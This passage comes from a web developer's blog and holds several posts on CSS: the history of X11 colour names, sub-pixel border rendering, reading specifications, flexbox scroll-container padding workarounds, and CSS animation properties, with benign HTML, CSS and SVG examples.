Perhaps we won't be able to figure out why snow has a red hue, but it does beg the question of how paint companies name their colours. British paint company, Farrow & Ball, which has been around since 1946, is known for their creative colour names.

Slate.com did some research into this and found that the quirkier names all have their own back stories, but to an extent, it can be considered a marketing thing.

Behr Paint even put a job listing for the position of Color Explorer, which has since been filled. For people who are interested, there was an AMA on Reddit done in 2015 by the folk who name paint colours at PPG Architectural Coatings, where questions about naming colours were answered.

Why did CSS use the X11 colours?

All the discussion around the development of CSS specifications takes place in the open, so it's possible, with some patience, to dig up the relevant discussion threads on the www-style mailing list archives.

Much of the discussion took place during between 1996–1998 when CSS1 and CSS2 were released, then again between 2001–2002 when the CSS Color Module Level 3 was being released. Feel free to peruse the message threads if you would like to read some occasionally strongly-worded opinions.

To read through whole threads, scroll down to the bottom and click through the Next in thread link.

Of course, there were also some light-hearted moments in there. Tongue-in-cheek seems to be a popular style of humour on that mailing list.

Update: Increment Magazine's Frontend edition includes a feature by Chris Lilley which explains why the X11 colours were added to CSS. It's a must-read!

A story about `orange`

Eric Meyer offered this lovely story of how orange made it into the CSS2 specification. Turns out, he used color: orange for a lot of tests in the CSS1 Test Suite, which the W3C published and browsers supported just fine.

However, because orange was never a colour name in CSS1, it was technically invalid CSS. (Refer to Preview: CSS1 Test Suite where Ian Hickson picked out the fact that orange is not in CSS1 and was an IE4 invention in his reply to the original post)

Basically, orange was added CSS2 pretty much specifically to make the CSS1 Test Suite valid, which led to jokes like “CSS2: Now with more orange!”. This incident was also referenced Easter-egg style in the January 1999 issue of Web Techniques.

Eric had written the cover article about CSS2 in that issue and requested a detergent-style cover with orange as the primary colour. The article's headline was also set in orange. I LOVE IT. And I'll close off this little anecdote with a quote from Eric:

Remember, the root of it is: I goofed. Always validate, kids!

Wrapping up

So I didn't manage to track down the actual reason why Sinclair Paint Co. named the white with a slightly reddish hue, “snow”, but I did find out a whole lot of interesting and entertaining things about colours.

The surface has barely been scratched here. And as someone who loves colours, I'm fairly certain this is not the end of things. Stay tuned, my friends!

Relevant links

Sub-pixel rendering and borders

Sun, 11 Aug 2019 00:00:00 GMT

I was incredibly chuffed to have been able to speak at the inaugural Talk.CSS in Melbourne recently, and after the event, I had a nice chat with one of the attendees about sub-pixel rendering issues for thin borders across different browsers.

Unofficial SingaporeCSS mascot making an appearance

During my talk, I had very briefly touched upon the topic of sub-pixel rendering while covering margin collapsing. If you have a completely empty box, its margins along the block direction will collapse with each other.

Computed padding values

However, adding anything at all to the empty box, even a border or some padding will prevent this. At that point, I was curious to how low a value of padding could go before the browser treats it as nothing, and I found that for Firefox, you could go down to 0.0083333323709666669px but not 0.0083333323709666668px.

On Chrome, however, I could keep going on but I stopped at 0.015624999534338711824899004199096452794037759304047px. Feel free to go on if you want to and let me know how far you can go. Safari had the same decimal points all the way down, so I assume Blink did not change the calculation from Webkit.

Upon further inspection with DevTools for the 3 browsers I had on my laptop (who knows if browsers on Windows do something differently?), I noticed interesting things on how DevTools expressed the computed values.

Firefox's box model diagram seems to express the padding effect correctly. Although there seems to be some magical content height going on there when padding gets rendered as a non-zero value.

Firefox DevTools' attempt at displaying excessive decimals

As for Chrome and Safari, it seems that the box model diagram doesn't reconcile with what we see in the browser and there is also something going on with the computed values being shown.

Chrome's box model diagram seems confused

Safari's computed values seem to have some rounding somewhere

On floating point numbers

On a tangent, this reminded me of an issue with the display of calculation outputs consisting of floating point numbers. Floating point values are a small subset of rational numbers which have a very huge range and constant precision, which works well for computers.

IEEE 754, which is the technical standard for floating-point arithmetic defines arithmetic formats, interchange rules, rounding rules, operations and exception handling. I'm guessing that browsers conform to this standard when dealing with sub-pixel rounding, but I can't be sure.

On the rendering of borders

Back to the discussion on borders. I use reveal.js a lot for my presentation slides and the default table style uses a 1px border between table rows. On certain resolutions, with different browsers, sometimes the border does not render.

A solution to this issue is to instead use the value of thin for the border-width property. This is a good time to talk about the CSS borders, as a refresher.

Borders have been around since CSS1 as part of the box model. The main properties that define how a border looks like are border-width, border-style and border-color. All 3 properties are shorthands used to set the border properties for all 4 sides of the box.

For border-width, you could use keyword values like thin, medium or thick, as well as standard CSS length values. The thing about these keyword values is that the specification does not define exactly how the browsers should resolve them.

The lengths corresponding to thin, medium, and thick are not specified, but the values are constant throughout a document and thin ≤ medium ≤ thick. A UA could, e.g., make the thickness depend on the medium font size: one choice might be 1, 3 & 5px when the medium font size is 17px or less. Negative <length> values are not allowed.

I hadn't tested every single browser, just Chrome, Firefox and Safari, but all 3 of them do indeed use the suggested 1px, 3px and 5px respectively.

It is highly probable that the reason using thin seems to resolve the disappearing border issue is that each browser resolves the keyword in a manner that fits its own rendering engine's calculations. So even though thin and 1px should have the same result, using thin is a better option.

Wrapping up

Sub-pixel rounding affects many aspects of browser rendering and it was interesting to read John Resig's observations on his test case involving child <div>s sized with percentage values.

Another sub-pixel rounding issue was documented by the engineers at Symbiote, who encountered the issue of rounding the calculated height of text when using em or rem values on the line-height property.

This seems like a long-standing issue with browser rendering but there doesn't seem to be a clear solution. If anyone has any insight on the state of sub-pixel rendering, or can point me to the right people to ask, I'd greatly appreciate it. 🙏

Learning CSS by reading specs

Tue, 06 Aug 2019 00:00:00 GMT

Recently I got the chance to do an interview with Vitaly Friedman as part of the run-up to View Source Conference taking place in September this year. One of the things we chatted about was around new CSS.

My good friend, Wei, is an incredible technical writer who is very involved in documentation for open-source projects. She wrote most of the React-Redux documentation and is one of the core maintainers for Docusaurus.

.@wgao19 wrote large sections of our new React-Redux docs, and has done a fantastic job (which I think is what got her involved with Docusaurus in the first place). She's worth following, and this umbrella issue on documenting Docusaurus v2 looks worth reading! https://t.co/oltj6XEgh2
— Mark Erikson (@acemarke) July 30, 2019

Having a close friend so involved with documentation made me think a bit more about this aspect of software development that I personally feel is highly underrated.

Note: after writing this whole thing I realised it went on longer than I expected, so the TL:DR of it is, don't be wary of reading CSS specifications. They help immensely in understanding CSS.
Also, you, yes YOU, can contribute to the development of CSS as well.

Warning, story time…

I've worked at a variety of different organisations, from agencies to start-ups to larger enterprise companies, and have been part of teams that have very different attitudes toward documentation.

The most memorable experience I had was at a start-up which focused on applying machine learning techniques on large datasets from organisations who had troves of data but no expertise to do anything with them.

The team in Singapore had been working on a machine learning platform but never managed to see it through as our Singapore office was shut down.

But that year of working with highly experienced and skilled senior engineers, each experts in their respective fields, taught me more about software engineering than my all prior work experience combined.

One common thread among all of them was their emphasis on clear and comprehensive documentation.

CSS specifications are documentation, kinda

Codrops has a really nice CSS reference section that was largely written by the indomitable Sara Soueidan. I had helped out with some of the later entries after Sara moved on to other projects. The reason I'm so familiar with CSS Grid is because I wrote the entry for that.

Every entry that I wrote gave me reason to go through the relevant CSS specification with a fine-toothed comb, in addition to researching any tutorials and blog posts that covered the same thing, but in a different voice.

But the specification always remained my single source of truth, which gave me enough clarity to discern if information on an article or blog post wasn't entirely accurate. I now refer to the specification for every blog post I write about CSS, and more often than not, I'm discovering something I didn't know before.

Accurate depiction of me

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

One of the things that Vitaly brought up during our interview is some people find the specification intimidating, that it seems like a really technical document with paragraphs and paragraphs of hard to decipher text.

To me, that is partly true, especially for specifications written before CSS3, when the decision was made to split up the specification into different modules to make it easier to develop and maintain. And I too have had the experience of reading the same paragraph multiple times and still being none the wiser.

I also have the advantage of being fluent in English, and hence am in a privileged position of being able to consume the information in the specification relatively quicker and easier than people for whom English is not their first language.

That being said, when Vitaly asked me if there was one thing I wished I knew when I started by career in web development, my answer was to have known to read the CSS specifications from day 1.

The CSS Working Group have poured in a significant amount of time and effort to be as comprehensive as possible in defining how CSS should behave.

To quote Elika Etemad (AKA fantasai):

You don't need to be a programmer or a CS major to understand the CSS specifications. You don't need to be over 18 or have a Bachelor's degree. You just need to be very pedantic, very persistent, and very thorough.

Getting started with specifications

Luckily for all of us, a number of articles and resources have been written specifically for the purpose of easing people into reading W3C specifications. If you've never visited the W3C's CSS home page, I recommend starting there.

It is constantly updated with what the CSS Working Group is up to, which specifications have been officially updated, as well as news on relevant events and conferences .

Knowing about the history of CSS is also beneficial because it sheds light on how CSS developed over the past two decades and why certain things are the way they are today.

December 17, 2016 was the 20th anniversary of CSS, and the W3C published a commemorative website, 20 Years of CSS, to celebrate that milestone.

There is a full list of all completed specifications and drafts by the CSS Working Group, so that is the best place to keep abreast of all the latest developments. As for the actual reading of specifications, How to Read W3C Specs by J. David Eisenberg is possibly the best place to start.

Understanding the CSS Specifications by Elika provides a nice roadmap of which specifications to cover first and also highlights a number of projects we can get involved in if we're interested in contributing.

Contributing to the development of CSS

One of the most fortunate things in my web development career is getting to know people who work on browsers, specifications and the web platform.

The amount of insight I received from them simply from casual conversation has been invaluable in shaping my view of this industry that I've chosen to make a career out of.

I first met Rachel Andrew when she came over to Singapore for CSSConf.Asia 2016, and she gamely agreed to participate in a panel for Talk.CSS Anniversary Special.

She is someone who I consider a true CSS Advocate, and she has made it a point to encourage web developers like you and I to provide feedback to the specification writers and browser vendors and help contribute to the development of the web platform.

For me, CSS is and will always be my favourite open-source project.

Writing/talking about CSS

Trying out CSS features, especially the newer ones, then writing or speaking about how it works, how it solves a particular use-case, or doesn't is very helpful, not only to other developers who might encounter similar situations, but also specification authors and browser vendors.

If we shy away from using newer features simply because they are not widely supported, we're initiating a negative cycle that ends up pushing that feature further away from broad browser support. Browser vendors do take note of buzz around CSS features when it comes to prioritisation.

Sometimes I wonder if developers forget that browsers are also software projects built by and maintained engineers like you and I. As with any software project, features and bugs have to get prioritised because even though companies like Google and Microsoft are huge, the teams working on browsers are not that big.

When CSS grid first came out back in 2017, it generated quite a lot of buzz and one particular tweet by Patrick Kettner compelled me to write a brief note about kindness (and sometimes the lack thereof) in our industry.

@marcosc @jsscclr tons of thoughts, and not enough time to tweetstorm, so... pic.twitter.com/KO4zAgk0Ot
— Patrick Kettner (@patrickkettner) March 19, 2017

My point is, please try out as many new features as possible. You don't have to use them in production, a side project here or a CodePen there, just to see how it works, is good enough. And if you have some time, a short write-up, even in bullet form will do. Browser vendors are listening.

Raising issues on the CSS working drafts repo

CSS specifications are not being developed in a deep underground cave by mysterious people in dark robes chanting around a bubbling cauldron. They are done in the open. Everybody can take part in the discussions the mailing list, www-style@w3.org, and you can subscribe here.

If mailing lists aren't your thing, then raising an issue on GitHub also works fine. All the CSS working drafts are being written and developed on GitHub, so it's really interesting to follow along and see how a specification evolves throughout its development.

Granted a lot of the discussion is taking place between specification authors, browser vendors and specialists in their respective fields (accessibility, internationalisation, typography etc.), but there are also developers like you and I inquiring about specific use cases and asking for clarification as well.

These are the fine folk from the CSSWG

Ideally, you'd want to be clear and specific about your use-case and provide a simplified test case that best illustrates the issue, if that's applicable. Most of the time, somebody will be able to help you out or tag someone who can.

For me, simply reading the issues I find interesting is fascinating enough, because usually they revolve around use-cases that I never even thought of, and I have developed a greater appreciation of the amount of thought put into the specifications from that.

Logging bugs with respective browser vendors

One of the CSS properties I'm especially interested in is writing-mode. To be fair, it's probably most applicable to those of us who use East Asian languages like Chinese or Japanese. But that doesn't mean those of you who don't have to miss out on the fun.

Vertical text has been used in the world of graphic design for the longest time, and Jen Simmons has lots of demos that show how vertical text can be used for art-directed layouts. But I digress. This section is about browser bugs.

Because vertical writing on the web is comparatively less used than some other CSS features, there were some bugs that didn't get flushed out. But I was doing quite a lot of experimentation with vertical layouts at the time and encountered a pretty trippy bug in Firefox.

Full details about that whole exercise in this blog post. I raised the bug on Firefox's issue log and by the next release, the bug had been resolved. THAT BLEW MY MIND. Though I've also had multiple friends mention to me that when they encounter odd behaviour, it doesn't occur to them that it might be a browser bug.

So the point I want to make here is that, sometimes, when your CSS seems to be doing weird things, be open to the possibility that it might be a browser bug. Help out the browser vendors by checking if its an existing issue, and if not, raise one.

Here's a list of all the issue logs for the major browsers:

There is also a volunteer-led initiative called the Web Compat which helps facilitate the process of raising browser compatibility bugs.

The Web Platform Tests project

I learned about the Web Platform Tests project when I was the Mozilla All-Hands in Austin back in 2017 when I heard some people talk about it. Then, Rachel Andrew wrote this article on 24ways that provided a step-by-step guide to getting involved with the project by writing tests.

To quote her from the article:

You need to really understand a feature to accurately come up with a method of testing if it works or not in the different engines. This is not glamorous work, it is however a very useful thing to be involved with. In addition to helping yourself, and developing the sort of deep knowledge of the platform that enables contribution, you will really help the progress of specifications.

This is something I have yet to start exploring, but it is definitely on my bucket list and hopefully I can start contributing in the future.

Wrapping up

This went on for really long, but I hope it sheds some light onto why reading CSS specifications is immensely helpful to build a strong understanding of CSS, while also highlighting how developers who work on the web can contribute to shaping the web platform.

Flexbox and padding

Sun, 28 Jul 2019 00:00:00 GMT

I just saw that my previous article on magical kittencorns and CSS animations worked out to an 18 minute read. Which is apparently terrible for getting people to read the whole thing. Good thing I'm the one reading my own articles, huh?

Anyway, this is a really short one, which was borne out of a discussion with my mate, Wei, about use of padding in a flex formatting context. Because that's what friends talk about in casual conversation.

But I think it is a fairly common problem which people may run into so here's a write-up.

Scenario

If you have tried to apply padding to a flex container with an horizontal overflow behaviour of scroll, you might notice that the padding is not applied to the flex end side of your container.

Sleep more

This is because the available space allocated to flex items by the browser under such circumstances is: the width of flex container's containing block minus its margin, border and padding in the horizontal direction.

~~The relevant section of the specification is [CSS Flexible Box Layout Module Level 1: 9.2 Line Sizing](https://www.w3.org/TR/css-flexbox-1/#line-sizing)~~

Update:
Konstantin Rouda and Šime Vidas raised the point that my original explanation didn't really explain why there is start padding but no end padding. And upon further digging, I found a long standing dispute about how overflow content should be handled while considering the constraints of Web-compat.

This is not an issue that only affects Flexbox layouts, it affects scroll containers with block and inline children differently as well. CSS2.1 was not clear about overflow, and that probably resulted in different browser vendors implementing different behaviour. For example, Webkit had (has?) different policies for block children and inline children.

From the GitHub issue [css-overflow-3] Clarify padding-bottom in overflow content, fantasai commented that:

I think historically the issue is that browsers didn't want to trigger scrollbars for overflow: auto unless visible content was overflowing the inner border edge, so they didn't count padding.

Things have not been resolved yet, and anyone who is interested can read through the following relevant links:

However, having items in a scrolling container with padding is a relatively common situation and there are a couple of workarounds to achieve the desired effect. Both workarounds are sort of hacks though. Here's the markup for a basic flex container with some items in it.

<div class="flex">
  <div class="flex__item card">
    <img src="http://placekitten.com/150/150" />
    <div class="card__txt">
      <h3>Sleep more</h3>
    </div>
  </div>
  <div class="flex__item card">
    <img src="http://placekitten.com/150/150" />
    <div class="card__txt">
      <h3>Sleep more</h3>
    </div>
  </div>
  <!–– repeat for like 10 more cards ––>
</div>

Using border

One option is to style up the border so it looks like padding around the items in the container.

.border {
  border: 1em #4abc41 solid;
}

A potential downside to this solution is the position of the scrollbar. Depending on the operating system, this may or may not be an issue. For example, on Windows (screenshot shown below), it is fairly obvious. On Android, the scrollbar is barely noticeable.

I'd like to take this opportunity to talk about the CSS Scrollbars Module Level 1 specification which is currently an Editor's Draft. It introduces 2 new CSS properties for scrollbar styling, scrollbar-color and scrollbar-width. Firefox has supported them since version 64.

More information written up in Issue № 1022 of Web Platform News.

Sleep more

Using the `::after` pseudo-element

Another option is to utilise the ::after pseudo-element on the flex container. ::before and ::after are generated content, and are inserted just inside their associated element. In other words, it will be rendered as a child element inside the flex container.

.pseudo-elem {
  padding: 1em;

  &::after {
    content: "";
    padding: 0.5em;
  }
}

You do have to make sure that the padding on the ::after pseudo-element is half that of the padding used on the flex container, because padding is applied all around the pseudo-element. But if you go with padding-left or padding-right, then you can use the same value as the padding on the flex container.

Sleep more

Wrapping up

I promised this would be short. Anyway, if you want to take a look at the code and mess around with it. Or even better, add to the list of workarounds, please feel free to do so. And ping me with your solution!

See the Pen Flex container padding hack by Chen Hui Jing (@huijing) on CodePen.

Figuring out CSS animation properties with a magic kittencorn

Sat, 27 Jul 2019 00:00:00 GMT

A little known fact about SingaporeCSS is that we actually have an unofficial mascot. I haven't named it yet, because naming stuff is the hardest problem in the world. But its birthday is 8 June, 2017 (so just a little over 2 years old now) and it first showed up at Talk.CSS during our very first ever Codepen edition on 26 July, 2017.

at least some of u have seen my unofficial mascot before hor....just that nobody rmb nia...their birthday is 8 June 2017...and became unofficial mascot at Talk.CSS #19
anyway, it's a sibling pair now, you'll see...
¯\_(ツ)_/¯ pic.twitter.com/HewcY540jq
— HJ Chen (@hj_chen) July 26, 2019

Soon after that meetup, I thought it'd be nice to add our unofficial mascot to the SingaporeCSS website, so I drew a portrait of it in Sketch. And that's it. I stopped there. Never did anything with the illustration. I also kept forgetting to bring it along for meetups so I think it showed up like 3 more times after over the next 2 years.

But times have changed. CSS kittencorn (until somebody thinks of a better name) is now standing guard over Wei's desk at work, and has showed up for multiple meetups since the 2 of them got acquainted this year. And, it's now got a younger sibling. More on that in future.

Long story short, CSS kittencorn will probably no longer be the kind-of-secret mascot that it was for 2 years, and should feature prominently in all future Talk.CSSes moving forward. I hope.

To commemorate this momentous occasion, and also, entertain myself on yet another long-haul plane ride, I had another one of my hare-brained ideas. If you've followed my writing for a while, you'll realise I have many of those. Also, thanks? I appreciate the 3 of you who read my nonsense. Truly.

Can I has a GIF?

I had originally wanted to make an animated GIF to send to Wei, just because. I had created animated GIFs in Photoshop before (just trigger my 404 page, go on, I'll wait), but that was quite a bit of effort I wasn't prepared to commit to.

So my next best option was create an animation that would run in the browser then make a screencast of it and save it as a GIF. The GIF production was ultimately a failure because it didn't animate as planned, but WhatsApp supports video so that's what ended up getting sent. Best laid plans and all.

First things first, is getting the kittencorn illustration into the browser. Was it possible to create kittencorn entirely out of HTML elements and CSS alone? Of course you could. But I'm LAZY. (*insert soon-to-be-supported Sloth emoji here*)

So SVG it is.

<svg class="kittencorn" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 415 352" fill="none">
  <path class="rainbow" stroke="#000" stroke-width="5" d="M123.877 230.922c3.406 2.175 6.516 6.728 8.244 12.418 1.715 5.643 1.948 12.021.031 17.572-1.888 5.468-5.891 10.25-12.963 12.885-7.165 2.669-17.684 3.205-32.61-.401-29.756-7.188-54.915-26.626-69.709-46.127-7.404-9.76-12.078-19.362-13.534-27.273-1.455-7.906.345-13.544 5.04-16.585 2.651-1.719 4.958-2.45 7.019-2.553 2.056-.102 4.063.411 6.135 1.492 4.28 2.234 8.493 6.679 13.401 12.284.685.781 1.38 1.583 2.088 2.399 9.146 10.54 20.398 23.508 37.356 27.282 17.484 3.891 28.625 4.625 36.201 4.894 1.074.038 2.056.066 2.962.093 2.338.068 4.167.121 5.751.285 2.118.219 3.459.614 4.588 1.335z"/>
  <path class="rainbow" fill-rule="evenodd" stroke="#000" stroke-linecap="square" stroke-width="5" d="M151.901 58.517S86.599 28.76 71.819 42.603c-14.78 13.845 9.153 90.422 9.153 90.422s11.039-23.8 29.824-42.843c18.785-19.043 41.105-31.665 41.105-31.665z" clip-rule="evenodd"/>
  <path fill="#000" fill-rule="evenodd" d="M138 67.311S93.39 46.981 83.292 56.44c-10.097 9.458 6.253 61.771 6.253 61.771s7.54-16.259 20.374-29.268C122.752 75.933 138 67.31 138 67.31z" clip-rule="evenodd"/>
  <path class="rainbow" fill-rule="evenodd" stroke="#000" stroke-linecap="square" stroke-width="5" d="M327 58.517s65.302-29.758 80.082-15.914c14.78 13.845-9.152 90.422-9.152 90.422s-11.039-23.8-29.824-42.843C349.32 71.139 327 58.517 327 58.517z" clip-rule="evenodd"/>
  <path fill="#000" fill-rule="evenodd" d="M340.451 67.311s44.611-20.33 54.707-10.871c10.097 9.458-6.252 61.771-6.252 61.771s-7.541-16.259-20.374-29.268c-12.833-13.01-28.081-21.632-28.081-21.632z" clip-rule="evenodd"/>
  <path class="rainbow" fill-rule="evenodd" stroke="#000" stroke-width="5" d="M239.5 319c95.269 0 172.5-30.225 172.5-112.067C412 125.091 364.154 43 239.5 43S67 125.091 67 206.933 144.231 319 239.5 319z" clip-rule="evenodd"/>
  <path fill="#fff" fill-rule="evenodd" d="M269.421 85.475s-17.077-79.652-29.71-79.652C227.077 5.823 210 85.474 210 85.474s13.603 10.033 29.711 10.033c16.107 0 29.71-10.032 29.71-10.032z" clip-rule="evenodd"/>
  <path stroke="#1CAFEF" stroke-linecap="round" stroke-width="5" d="M220.57 43.788s10.301 9.215 18.976 12.264c8.675 3.05 23.971 4.846 23.971 4.846M227.126 24.256s7.002 7.088 13.172 9.746c6.17 2.658 16.23 2.453 16.23 2.453"/>
  <path stroke="#000" stroke-linecap="square" stroke-width="5" d="M269.421 85.475l1.484 2.012 1.299-.959-.338-1.578-2.445.525zm0 0l1.483 2.012-.002.002-.004.003-.012.008-.039.029-.136.097c-.116.083-.284.2-.5.347a49.67 49.67 0 0 1-1.856 1.198 64.981 64.981 0 0 1-6.698 3.588c-5.598 2.593-13.398 5.248-21.946 5.248-8.549 0-16.349-2.655-21.947-5.248a64.981 64.981 0 0 1-6.698-3.588 49.67 49.67 0 0 1-1.856-1.198 32.2 32.2 0 0 1-.5-.347l-.136-.097-.039-.029-.012-.008-.004-.003-.002-.002L210 85.475m59.421 0c2.445-.525 2.445-.525 2.444-.526v-.003l-.003-.011-.009-.045-.038-.174-.147-.672a648.068 648.068 0 0 0-2.682-11.6c-1.804-7.49-4.344-17.49-7.284-27.5-2.933-9.987-6.291-20.077-9.742-27.706-1.719-3.8-3.515-7.114-5.364-9.517-1.725-2.242-4.031-4.398-6.885-4.398-2.855 0-5.16 2.156-6.886 4.398-1.849 2.403-3.645 5.717-5.364 9.517-3.451 7.629-6.809 17.719-9.742 27.706-2.94 10.01-5.48 20.01-7.284 27.5a662.824 662.824 0 0 0-2.682 11.6l-.147.672-.037.174-.01.044-.003.012v.003l2.444.526m0 0l-2.444-.525-.339 1.578 1.299.959L210 85.475z"/>
  <path class="rainbow" stroke="#000" stroke-width="5" d="M112.172 294.814c.162-.44.936-1.327 3.831-1.852 2.712-.491 6.499-.505 11.099-.061 9.159.885 20.929 3.525 32.386 7.041 11.461 3.517 22.442 7.861 30.052 12.086 3.835 2.128 6.632 4.129 8.23 5.859 1.691 1.831 1.355 2.513 1.273 2.66-3.557 6.449-6.703 10.517-10.829 13.38-4.148 2.877-9.531 4.708-17.896 6.183-16.152 2.848-28.509-1.923-48.52-10.911-6.312-2.835-9.911-7.947-11.371-14.096-1.477-6.22-.747-13.496 1.745-20.289zM366.828 294.814c-.162-.44-.936-1.327-3.831-1.852-2.712-.491-6.499-.505-11.099-.061-9.159.885-20.929 3.525-32.386 7.041-11.461 3.517-22.442 7.861-30.052 12.086-3.835 2.128-6.632 4.129-8.23 5.859-1.691 1.831-1.355 2.513-1.273 2.66 3.557 6.449 6.703 10.517 10.829 13.38 4.148 2.877 9.531 4.708 17.896 6.183 16.152 2.848 28.509-1.923 48.52-10.911 6.312-2.835 9.911-7.947 11.371-14.096 1.477-6.22.747-13.496-1.745-20.289z"/>
  <path fill="#000" fill-rule="evenodd" d="M142.729 141.367l52.56 22.575s-6.123 54.384-47.317 41.688c-23.433-7.223-5.243-64.263-5.243-64.263z" clip-rule="evenodd"/>
  <path stroke="#000" stroke-linecap="round" stroke-width="5" d="M139.5 140.45l56 24"/>
  <path fill="#fff" fill-rule="evenodd" d="M180 181.95c2.761 0 5-4.03 5-9 0-4.971-2.239-9-5-9s-5 4.029-5 9c0 4.97 2.239 9 5 9z" clip-rule="evenodd"/>
  <path fill="#000" fill-rule="evenodd" d="M336.271 141.367l-52.56 22.575s6.123 54.384 47.317 41.688c23.433-7.223 5.243-64.263 5.243-64.263z" clip-rule="evenodd"/>
  <path stroke="#000" stroke-linecap="round" stroke-width="5" d="M339.5 140.45l-56 24"/>
  <path fill="#fff" fill-rule="evenodd" d="M332 181.95c-2.761 0-5-4.03-5-9 0-4.971 2.239-9 5-9s5 4.029 5 9c0 4.97-2.239 9-5 9z" clip-rule="evenodd"/>
  <path fill="#000" fill-rule="evenodd" d="M231.498 213.403c2.378-2.079 13.645-1.791 16.729 0 3.084 1.791-3.754 9.199-8.09 9.199-4.335 0-11.017-7.119-8.639-9.199z" clip-rule="evenodd"/>
  <path stroke="#000" stroke-linecap="round" stroke-width="5" d="M247.756 262.45s-5.481-13.5-7.878-13.5c-2.398 0-7.878 13.5-7.878 13.5"/>
</svg>

It needs to be an inline SVG because I wanted to apply CSS animations to it, and target specific parts of the SVG with CSS classes. So you can see the rainbow class on some of the <path>s and the whole SVG has the kittencorn class.

In my mind, I wanted the kittencorn to spin while rotating through the colours of the rainbow, then the word “Magic” needed to appear, followed a random twinkle to end things off. Turns out all of those things can be achieved with CSS animations. Fun!

2 more additions to the markup then:

<p class="magic">Magic</p>
<svg
  class="sparkle"
  viewBox="0.0 0.0 50.0 50.0"
  fill="none"
  stroke="none"
  stroke-linecap="square"
  stroke-miterlimit="10"
>
  <clipPath id="p.0">
    <path d="m0 0l50.0 0l0 50.0l-50.0 0l0 -50.0z" clip-rule="nonzero"></path>
  </clipPath>
  <g clip-path="url(#p.0)">
    <path fill-opacity="0.0" d="m0 0l50.0 0l0 50.0l-50.0 0z" fill-rule="nonzero"></path>
    <path
      fill="#fff"
      d="m0.62204725 25.0l20.068499 -4.323374l4.309454 -20.13332l4.309454 20.13332l20.068499 4.323374l-20.068499 4.323374l-4.309454 20.133318l-4.309454 -20.133318z"
      fill-rule="nonzero"
    ></path>
    <path
      stroke-width="1.0"
      stroke-linejoin="round"
      stroke-linecap="butt"
      d="m0.62204725 25.0l20.068499 -4.323374l4.309454 -20.13332l4.309454 20.13332l20.068499 4.323374l-20.068499 4.323374l-4.309454 20.133318l-4.309454 -20.133318z"
      fill-rule="nonzero"
    ></path>
  </g>
</svg>

Basics of CSS animation

The specification that defines how CSS animations work is the CSS Animations Level 1, currently in Working Draft status. This specification allows developers to:

specify the changes in CSS properties over time as a set of keyframes

They are fairly similar to CSS transitions with the key difference being:

while transitions trigger implicitly when property values change, animations are explicitly executed when the animation properties are applied

Let's also look at some fun facts about CSS animations which are outlined in the specification.

Animations will override all normal rules, but are overridden by !important rules
If there are multiple animations specifying behaviour for the same property, the animation that occurs last wins
An animation does not affect the computed value before the application of the animation or after it is removed
The animation computes the value of the properties during the running of the animation but other values may take precedence over the animated value
An animation starts when the style applying the animation and corresponding @keyframes rule are both resolved, but dynamically updating keyframe style rules does not start or restart an animation
Changes to the values of animation properties while the animation is running apply as if the animation had those values from when it began
The same @keyframes rule name may be repeated within an animation-name
Setting the display property to none will terminate any running animation applied to the element and its descendants

Keyframes are used to define the values for the animating properties at specific points during the animation. They are written as follows:

@keyframes animation-name {
  ...;
}

There's some stuff you need to know about naming your @keyframes block though. It can be either a custom identifier (no quotes) or a string (uses quotes). The name is fully case-sensitive, which means if every codepoint of the name matches, then they are considered the same.

/* both have the same name, so the first block is ignored */
@keyframes magical {
  ...;
}
@keyframes "magical" {
  ...;
}

/* because of case-sensitivity, this is considered different */
@keyframes MAGICAL {
  ...;
}

And reserved keywords like none or initial won't work as custom identifiers BUT you can use them as strings. So do the quotes thing and your keyframe magically becomes valid. See what I did there? No? Never mind…

/* these will not work */
@keyframes None {
  ...;
}
@keyframes initial {
  ...;
}

/* but these will */
@keyframes "None" {
  ...;
}
@keyframes "initial" {
  ...;
}

The syntax of CSS animations

animation is a shorthand property, which covers the following (values are initial default values):

animation-name: none
animation-duration: 0s
animation-timing-function: ease
animation-delay: 0s
animation-iteration-count: 1
animation-direction: normal
animation-fill-mode: none
animation-play-state: running

If you want to have multiple animations on an element, separate each one with a comma. I'm only very briefly covering what these individual properties do, but for full explanations, please read the extremely digestible CSS Animations Level 1.

`animation-name`

We talked about this a bit earlier, and it is used to select the @keyframe rule which provides the property values for the animation. If this name does not match any keyframes, no animation for you. none is a keyword value, so if you use it as a custom identifier, no animation for you either.

`animation-duration`

This property defines the duration of a single animation cycle. Essentially how long it takes for the animation to run from start to finish.

Because CSS obeys the laws of physics, negative time values are invalid. Although if you define this as 0s, even though the keyframes have no effect, the animation still occurs but instantaneously.

`animation-timing-function`

This property describes how the animation function will progress between each pair of keyframes. There's even a separate CSS specification for timing functions called CSS Easing Functions Level 1.

Because animation is way more complicated than most of us care to think about. Also, during animation-delay, the animation-timing-function is not applied.

`animation-delay`

This property defines when the property will start, so you can make the animation start a bit later, or make it appear to have started before it was applied. This bit needs some explanation. So unlike the animation-duration property, a negative time value in this case is actually valid.

It's just that the browser will progress the animation to a point where it would have been had the animation started some time in the past. So it seems like it started partway through its active duration.

`animation-iteration-count`

This property specifies the number of times the animation gets played. By default the animation will run once from start to finish but you can always make it run multiple times or keep looping with a value of infinite. Because who doesn't love infinitely running animations? (loads of people, actually)

Usually people use this with an animation-direction of alternate so the animation can play in reverse on alternate cycles.

`animation-direction`

This property, as mentioned earlier, defines if an animation should play in reverse on some or all of the cycles. When you play an animation in reverse, the timing functions also end up getting reversed. So an ease-in ends up becoming an ease-out.

Your options for this are normal, reverse, alternate and alternate-reverse. Because choices.

`animation-fill-mode`

This property defines what values are applied by the animation outside the time it is actually running. By default, the animation will not affect property values after it has done running, but animation-fill-mode can override this behaviour.

For example, if you animated something from the left of the screen to the right, after the animation ends, your thing will morph back to its original position if you don't do anything. So if you had wanted your thing to stay put at the end, you'd apply a value of forwards for this property.

`animation-play-state`

This property defines whether the animation is running or paused. Pretty straightforward (as compared to some of the other properties, imho). running means the animation proceeds as normal, while paused means the animation is paused. ¯\_(ツ)_/¯

If the animation is set to paused during the animation delay phase, then the delay clock is also paused.

Some layout things

Wei created a gorgeous set of hand-doodled slides for an elevator pitch about a new meetup she's starting up (more on that at the end), and they looked great. I am a big advocate of sketching things out on pencil and paper), but never really got into the digital side of things.

I guess I was too used to the feel of a pencil (or paintbrush) but sketching on a tablet isn't the worse experience in the world. The only way to get better at something is to do it, right? Anyway, here was the plan in my head sketched out.

